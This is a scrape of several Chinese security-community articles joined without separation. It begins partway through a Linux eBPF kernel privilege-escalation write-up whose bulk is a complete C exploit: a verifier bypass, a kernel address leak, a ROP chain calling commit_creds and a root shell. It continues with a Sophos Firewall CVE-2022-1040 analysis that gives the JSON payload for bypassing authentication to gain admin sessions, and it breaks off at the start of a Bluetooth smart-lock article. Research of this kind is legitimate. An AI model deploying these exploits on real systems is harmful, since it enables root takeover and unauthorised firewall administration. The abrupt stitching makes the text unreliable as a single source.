.text:FFFFFFFF81600A62 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81600A67 50 push rax
.text:FFFFFFFF81600A68 EB 43 nop
.text:FFFFFFFF81600A6A 0F 20 DF mov rdi, cr3
.text:FFFFFFFF81600A6D EB 34 jmp 0xFFFFFFFF81600AA3
.text:FFFFFFFF81600AA3 48 81 CF 00 10+ or rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF mov cr3, rdi
.text:FFFFFFFF81600AAD 58 pop rax
.text:FFFFFFFF81600AAE 5F pop rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+ call cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+ jmp cs: INTERRUPT_RETURN
_SWAPGS
.text:FFFFFFFF8103EFC0 55 push rbp
.text:FFFFFFFF8103EFC1 48 89 E5 mov rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8 swapgs
.text:FFFFFFFF8103EFC7 5D pop rbp
.text:FFFFFFFF8103EFC8 C3
最后会执行SWAPGS交换内核和用户GS寄存器，然后执行iret指令将先前压栈的 ss / sp / eflags / cs / rip
弹出，恢复用户态调用时的寄存器上下文，执行rip->&get_shell，完成提权。
完整利用代码如下：
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
#include <sys/prctl.h>
#include "./bpf.h"
#define BPF_JMP32 0x06
#define BPF_JLT 0xa0
#define BPF_OBJ_GET_INFO_BY_FD 15
#define BPF_MAP_TYPE_STACK 0x17
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU32_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU32_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
/* Unconditional jumps, goto pc + off16 */
#define BPF_JMP_A(OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_JA, \
.dst_reg = 0, \
.src_reg = 0, \
.off = OFF, \
.imm = 0 })
#define BPF_JMP32_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */
#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_MOV64_REG((dst), BPF_REG_0) /* r_dst = (r0) */
/* Memory load, dst_reg = *(uint *) (src_reg + off16) */
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
char buffer[64];
int sockets[2];
int progfd;
int exp_mapfd;
int doredact = 0;
#define LOG_BUF_SIZE 0x100000
char bpf_log_buf[LOG_BUF_SIZE];
uint64_t exp_buf[0x100];
char info[0x100];
#define RADIX_TREE_INTERNAL_NODE 2
#define RADIX_TREE_MAP_MASK 0x3f
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, void *value, int mapfd, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)value,
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value, int mapfd)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)value,
.info.bpf_fd = mapfd,
.info.info_len = 0x50,
.info.info = (__u64)info,
};
syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
return *(uint32_t *)((char *)info+0x40);
}
static void __exit(char *err)
{
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static int load_my_prog()
{
struct bpf_insn my_prog[] = {
BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd),
BPF_MAP_GET(0,BPF_REG_5),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8->&map
BPF_MOV64_IMM(BPF_REG_0, 0x1),
BPF_LD_IMM64(BPF_REG_6, 0x8000000000000000),
BPF_JMP_REG(BPF_JLE, BPF_REG_5, BPF_REG_6, 1),
BPF_EXIT_INSN(),
BPF_ALU64_REG(BPF_ADD,BPF_REG_5, BPF_REG_5),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 33),
//--------------exp_mapfd
BPF_MOV64_REG(BPF_REG_7, BPF_REG_8),
BPF_LDX_MEM(BPF_DW,BPF_REG_5,BPF_REG_8,0x8), // r5 = op
BPF_JMP_IMM(BPF_JNE, BPF_REG_5, 0, 5), //3
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), //r8 *= 0x110
BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_6), // r7=r7-0x110
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0, 0x10), // leak *(&exp_elem[0]-0x110)
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7,BPF_REG_10), // 对栈指针进行越界读写
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -0x38), // 开辟栈空间，-0x38
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x20), // r6 -> arb num， r6的值不能超过0x38，所以相加了两次进行溢出
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[0]
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6),
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 0x18),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_RSH,BPF_REG_6, 2),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[1]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 4*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[2]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 5*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[3]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 6*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[4]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 7*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[5]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 8*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[6]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 9*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[7]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 10*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[8]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 11*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[9]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 12*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[10]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 13*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[11]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 14*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[12]
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 15*8),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,my_prog,sizeof(my_prog),"GPL",0);
}
static void prep(void)
{
exp_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,1,0);
if(exp_mapfd < 0){
__exit(strerror(errno));
}
progfd = load_my_prog();
if(progfd < 0){
printf("%s\n",bpf_log_buf);
__exit(strerror(errno));
}
//printf("success:%s\n",bpf_log_buf);
if(socketpair(AF_UNIX,SOCK_DGRAM,0,sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
}
static void writemsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
static void update_elem(uint32_t op)
{
exp_buf[0] = 0x100000000;
exp_buf[1] = op;
bpf_update_elem(0, exp_buf, exp_mapfd, 0);
writemsg();
}
static uint64_t infoleak(uint64_t *buffer, int mapfd)
{
uint64_t key = 0;
if (bpf_lookup_elem(&key, buffer, mapfd))
__exit(strerror(errno));
}
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void get_shell(){
if(!getuid())
{
printf("[+] you got root!\n");
system("/bin/sh");
}
else
{
printf("[T.T] privilege escalation failed !!!\n");
}
exit(0);
}
static void pwn(void)
{
uint64_t leak_addr, kernel_base;
uint32_t read_low, read_high;
//----------------leak info-----------------------
update_elem(0);
infoleak(exp_buf, exp_mapfd);
uint64_t map_leak = exp_buf[2];
printf("[+] leak array_map_ops:0x%lX\n", map_leak);
kernel_base = map_leak - 0x1017B40;
printf("[+] leak kernel_base addr:0x%lX\n", kernel_base);
unsigned long prepare_kernel = kernel_base + 0x08fc80;
unsigned long commit_creds = kernel_base + 0x08f880;
unsigned long pop_rdi_ret = kernel_base + 0x0016a8; // pop rdi; ret;
unsigned long xchg_rax_rdi = kernel_base + 0x89a3f3;// xchg rax, rdi; dec dword ptr [rax - 0x77]; ret;
unsigned long kpti_ret = kernel_base + 0xc00df0+0x16; // swapgs_restore_regs_and_return_to_usermode
int i = 3;
exp_buf[i++] = pop_rdi_ret; //rop[0]
exp_buf[i++] = 0; //rop[1]
exp_buf[i++] = prepare_kernel; //rop[2]
exp_buf[i++] = xchg_rax_rdi; //rop[3]
exp_buf[i++] = commit_creds; //rop[4]
exp_buf[i++] = kpti_ret; //rop[5]
exp_buf[i++] = 0; //rop[6]
exp_buf[i++] = 0; //rop[7]
exp_buf[i++] = &get_shell; //rop[8]
exp_buf[i++] = user_cs; //rop[9]
exp_buf[i++] = user_rflags; //rop[10]
exp_buf[i++] = user_sp; //rop[11]
exp_buf[i++] = user_ss; //rop[12]
update_elem(1);
}
int main(void){
save_stat();
prep();
pwn();
return 0;
}
提权效果：
本文的漏洞利用思路同样适用于CVE-2020-27194 和CVE-2020-8835 漏洞，感兴趣的读者可以自行实验。
## 参考链接
<https://xz.aliyun.com/t/8463#toc-6>
<https://xz.aliyun.com/t/8482>
<https://www.kernel.org/doc/Documentation/networking/filter.txt>
<https://zhuanlan.zhihu.com/p/137277724>
题目环境：<https://github.com/De4dCr0w/kernel-pwn/tree/master/geekpwn2020> | 社区文章 |
**作者：且听安全
原文链接：<https://mp.weixin.qq.com/s/c0X8Ct2I2SP-H_pioMM12Q>**
### **漏洞信息**
前端时间 Sophos Firewall 爆出了一个认证绕过漏洞 CVE-2022-1040 ，最近在深入分析 Sophos
服务架构的同时，完整复现了该漏洞。主要是在 `User Portal` 及 `Webadmin` 两个接口存在认证绕过漏洞，漏洞巧妙利用了 Java 和
Perl 处理解析 JSON 数据的差异性，实现了变量覆盖，从而导致认证绕过及命令执行。漏洞适用范围为 Sophos Firewall v18.5 MR3
及以下版本。
### **环境搭建**
首先从官网下载老版本虚拟机。本文研究下载版本为 `VI-18.5.2_MR-2.VMW-380`：
按照提示很容易完成安装。Sophos 的 Web 接口主要通过 Java 实现，由启动命令可以看出 Sophos 使用的是 openjdk 环境，如果在
Java 启动参数中直接添加调试参数，将会出现找不到 `libjdwp.so` 动态链接库的错误：
可以通过自行上传完整 JDK 来解决这个问题：
重启 Java 服务即可看到监听的端口。
### **服务架构**
Sophos 中的服务架构不是很复杂，主要使用了 Apache 、 Jetty 等 web 服务，第一层语言为 Java 通过网络通信的方式与后端 Perl
服务进行交互：
#### **0x01 Apache 配置**
Apache 的启动命令如下：
apache -d /_conf/httpd -DFOREGROUND
进入 `/_conf/httpd` 目录，存放有 Apache 的配置文件，通过分析 `httpd.conf`，了解 Apache 引用了
`/cfs/web/apache/httpd.conf` 配置：
Define userportal_listen_port 65004
Define webconsole_https_port 65003
Define SSLCertificateFileWithPath "/conf/certificate/ApplianceCertificate.pem"
Define SSLCertificateKeyFileWithPath "/conf/certificate/private/ApplianceCertificate.key"
Define https_cert_valid true
从配置中可以看出 Apache 开放了两个主要的端口 `userportal 65004` 和 `webconsole 65003` ：
在 Apache 配置目录下搜索 `ProxyPass`，找到的代理转发配置如下：
./ssl.conf:53: ProxyPass /webconsole/images !
./ssl.conf:54: ProxyPass /webconsole/css !
./ssl.conf:55: ProxyPass /webconsole/javascript !
./ssl.conf:56: ProxyPass /webconsole http://localhost:8009/webconsole
./ssl.conf:57: ProxyPassReverse /webconsole http://localhost:8009/webconsole
./userportal-static.conf:64: ProxyPass /userportal/images !
./userportal-static.conf:65: ProxyPass /userportal/CRSSL !
./userportal-static.conf:66: ProxyPass /userportal http://localhost:8009/userportal
./userportal-static.conf:67: ProxyPassReverse /userportal http://localhost:8009/userportal
代理转发策略将 `webconsole` 和 `userportal` 端口分别代理到 `8009` 端口的不同 URL ：
ProxyPass /webconsole http://localhost:8009/webconsole
ProxyPass /userportal http://localhost:8009/userportal
#### **0x02 Jetty 配置**
Jetty 配置文件为 `/usr/share/jetty/start.ini`，开启了本地服务的 `8009` 端口：
Jetty 的启动参数在 `/usr/bin/jetty` 脚本中配置，如果要修改可直接修改该文件最后 Java 执行部分。
#### **0x03 CSC 配置**
CSC 是 Sophos 的主要服务之一，主要负责启动各个服务进程及提供 API 接口供其他程序服务调用。其启动命令为：
csc -L 3 -w -c /_conf/cscconf.bin
CSC 为标准的 ELF 32bit 可执行程序，可通过逆向分析其中功能。`cscconf.bin` 中在 CSC 程序中有调用解压，猜测是一个加密压缩包。
`/usr/bin/csc` 由 C 语言编写，负责启动加载其他的服务以及加载 Perl 代码，在虚拟机中 CSC 启动部分服务如下：
程序中的 `extract_conf` 函数负责解密 `cscconf.bin` 并提取压缩包中的内容：
`decrypt_bin` 函数主要是通过异或算法将 `cscconf.bin` 数据解密为 `cscconf.tar.gz` 压缩包格式：
每次取 `0x420` 个字节通过 `xor_decrypt` 函数进行加密块解异或解密，将解密后数据中的 `0x400` 个字节写入 `tar.gz`
文件：
`xor_decrypt` 核心代码如下，主要通过与 `0x80DCB40` 地址中实现存放的 64 字节逐一进行异或处理：
通过逆向该算法，使用 Python 编写出加解密算法实现代码。解密得到 `cscconf.tar.gz` 压缩包，解开压缩包目录如下：
在压缩包中的其中一个目录名为 `service` ，推测 CSC 通过该目录下的配置文件启动相关服务：
### **补丁对比**
配置 Sophos vmware 网卡连网后等待一段时间，将虚拟机上的文件与原来的文件进行对比，其中有两个修改的地方，一处为
`web.xml`，另一处添加了 `RequestCheckFilter.class` 文件：
`web.xml` 增加了一段配置，主要给 Sophos Java 代码添加 `RequestCheckFilter`过滤器，过滤器主要检测 request
请求包中的 JSON 参数是否包含不可见字符：
检测规则中，JSON 参数的每个字符都必须是 `32~127` 之间，如果超出范围则会跳转到登录界面：
那么给我们的启发就是此次漏洞和 JSON 参数中的不可见字符有着直接的关系，应该是字符编码导致的认证绕过。
### **JSON 解析差异性分析**
漏洞原理可简单理解为 Java 在使用 `unicode \u0000` 时，JSON 认为 `key` 是两个不同的 `key` 并没有 `0`
字节截断，当 Java 把含有 unicode 编码的 `key` 发送给后端的 Perl处理时 `\u0000` 产生了截断效果，使得带有 unicode
编码的 `key` 变为了 `mode`， Perl 可以处理重复 `key` 的 JSON，如果重复则后面覆盖前面的值：
我们可以通过一个示例来对比不同语言处理 JSON 重复键的差异性。Java 处理带有 unicode 编码的 `key` 时可以正常解析：
import org.json.JSONObject;
import org.json.JSONException;
import java.io.*;
class test {
public static void main(String[] args) {
try{
System.out.println(new JSONObject("{ \"name\": \"test\", \"name\\u0000ef\": \"test2\"}"));
}catch (JSONException e){
System.out.println(e);
}
}
}
Perl 处理 Java 传递过来的零字节字符串就会产生截断效果，在处理相同 `key` 值的 JSON 时会取最后一个 `key` 对应的 `value`
：
#!/usr/bin/perl
use JSON;
my %rec_hash = ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'a' => 6);
my $json = encode_json \%rec_hash;
print "$json\n";
其结果为 `a` 被覆盖为了最后一个 `a` 的值：
**不同语言对 JSON 解析的差异性是此次认证绕过漏洞的核心原理** 。Java 接收来自用户的以下数据（其中 `\u0000` 后面的 `ef`
是为了让 JSON中 `key` 的 hash 排序将 `716` 排到 `151` 的后面）：
{"mode":151,"mode\u0000ef":716}
### **登录认证分析**
通过登录 `webadmin` 获取登录数据包：
根据 `/webconsole/Controller` 及 `mode=151` 寻找 Java 代码中的处理逻辑，首先分析 `web.xml`
中路由对应的 Servlet ：
主要由 `CyberoamCommonServlet` 进行处理，该类主要解析 `mode` 值，并通过 `mode` 进行分发：
进入 `_doPost` 函数继续进行分发， `EventBean` 从数据库中获取 `mode` 对应的属性，其中就包括关键属性
`Requesttype` ：
通过 `Requesttype` 将请求分为了三种：
* `Requesttype` 为 `1` ，使用 `CyberoamAjaxHelper` 处理；
* `Requesttype` 为 `2` ，使用 `CyberoamCustomHelper` 处理；
* `Requesttype` 为其他值时，使用 `generateAndSendOpcode` 处理。
进入 `CyberoamCustomHelper` 之后，通过匹配 `mode` 值进行分发，将会进入 `WebAdminAuth` 类中进行处理：
`process` 函数对请求中的 JSON 字段进行解析，获取 `jsonObject` 之后将会给 `cscClient` 通过
`localhost:299` 发送给 CSC 进程进行处理：
比较有意思的是 Sophos 通过 `cscClient` 返回的 Status code 判断是否登录成功，因此在 Java
代码中是看不到登录认证的完整过程的，如下图所示如果返回为 `200` 则会生成合法 `sessionBean` ：
合法 `sessionBean` 生成过程如下，将 `session` 中填充 `username` 、 `userid` 、 `csrftoken`
等关键信息：
因此我们只需要找到后台返回 `200` 的函数即可。
### **CSC Perl API 分析**
因为 webadmin login mode 151 的 `Requesttype` 为 `2` ，在 `_send` 函数最后获取返回值的时候使用
`getStatusFromResponse` 进行解析：
使用 `eventBean` 判断 `Requesttype` ，因为该 `eventBean` 在数据包刚开始处理的时候就根据 `mode`
值在数据库中进行搜索匹配，中间没有修改的可能性。在如下 `else` 分支中需要获取 JSON 结果的 `status` 字段：
因此在寻找可返回 `200` 的 `mode` 值时需要考虑的是要能够同时返回 `status` 字段，通过搜索数据库找到所有 `Requesttype`
为 `2` 的 `OPCODE` ，其中有 `716` 符合条件。注意 Perl 代码获取了 `request` 中的 `accessaction`
字段，并且需要该字段为 `1` 才能返回 `200` 。
### **漏洞复现**
通过前面的分析，我们很容易构造特殊的 JSON 数据包实现认证绕过。如果数据包中返回 `status` 的为 `200` ，并且
`redirectionURL` 路由为 `index.jsp` 即为认证成功，直接取 `Set-Cookie` 中的 `JSESSIONID` 进行使用：
在未登录条件下在浏览器中添加上述认证后返回的 `session`，操作如下：
替换浏览器中的 `JSESSIONID` ，并在 url 处输入 `index.jsp` 回车进行跳转：
### **小结**
通过漏洞还能够获取 `admin`
操作权限，因此可以向固件中添加恶意代码，然后通过上传固件的方式实现命令执行，或者通过修改配置等方式进入底层，方法有很多种不再详细分析。
通过分析复现 CVE-2022-1040 认证绕过漏洞，学习了一种新的认证绕过思路，通过不同语言对 JSON
或者其他格式的数据处理上的差异实现变量覆盖，完成漏洞利用。
* * * | 社区文章 |
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。先知技术社区投稿邮箱：[email protected]；
0x00 前言
随着物联网科技的飞速发展, 各类IOT设备都通过使用无线技术BTLE; ZigBee; WIFI; 6LoWPAN等来实现万物互联.
但随之而来的安全及个人用户隐私问题也越来越敏感. 汪汪将在这篇文章中分享一个低功耗蓝牙智能锁的分析案例. 希望能对IOT安全研究起到抛砖引玉作用.
BTLE 俗称低功耗蓝牙, 比传统的蓝牙更能控制功耗和成本. **** 因此成为当下 IOT 产品中使用非常频繁的技术. 比如小米智能手环; 飞利浦的HUE
智能灯, 甚至还有羞羞的蛋蛋系列都是通过BTLE 来完成联接的.
据说BTLE设备的年出货量在过去15年内增加了1000倍，已经达到了30亿的水平，在未来的4~5年内还将增加到50亿
不过越是流行的东西, 黑客对其也越是有兴趣. 通过简单的搜索便可发现不少关于BTLE 设备安全隐患的文章. 其中编号为 CVE-2013-4866
的硬编码PIN漏洞堪称一绝. 因为它是第一个关于智能马桶的漏洞. 感兴趣的朋友可以自行了解相关信息.
# 0x01 BTLE 基础
